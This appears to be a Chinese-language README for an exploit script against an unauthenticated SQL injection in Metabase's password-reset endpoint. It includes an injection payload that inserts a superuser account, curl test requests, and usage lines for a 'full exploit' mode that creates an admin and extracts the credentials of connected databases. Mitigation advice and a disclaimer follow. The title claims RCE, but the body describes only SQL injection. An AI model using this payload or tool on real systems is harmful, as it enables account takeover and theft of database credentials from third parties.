Metabase SQL 注入 RCE

Metabase /api/session/reset_password 端点存在未认证的 SQL 注入漏洞。可创建管理员账户并提取数据库凭据。

受影响版本：v58.0 - v63.3 | 已修复版本：v58.24+、v59.21+、v60.17+、v61.11+、v62.9+、v63.5+

---

快速开始

pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check

漏洞详情

SQL 查询中的字符串拼接：

# 存在漏洞的代码
query = f"SELECT * FROM core_user WHERE email='{email}'"

攻击载荷：

'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --

使用方法

仅检测（不做任何修改）：

python3 CVE-2026-72898.py http://localhost:5000 --check

完整利用：

python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!

手动测试：

# 验证端点
curl http://localhost:5000/api/health

# 测试 SQLi
curl -X POST http://localhost:5000/api/session/reset_password \
  -H "Content-Type: application/json" \
  -d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'

功能说明

1. 检测 Metabase 实例（基于布尔的 SQLi）
2. 通过 SQL 注入创建管理员用户
3. 使用新管理员账户进行认证
4. 提取所连接数据库的凭据
5. 验证系统是否被完全攻陷

影响

• 未认证的管理员访问权限
• 数据库凭据提取
• 所连接数据库被攻陷
• 应用程序完全受控

缓解措施

立即执行：

• 升级到已修复版本
• 通过 WAF 阻止 /api/session/reset_password
• 审计管理员账户，检查是否存在未授权添加
• 轮换所有数据库凭据

后续执行：

• 使用参数化查询
• 添加输入验证
• 对所有敏感端点实施身份认证
• 启用 SQL 查询日志记录

链接

• GitHub 安全公告
• NVD CVE 条目

---

仅限授权使用。未经授权的访问属于违法行为。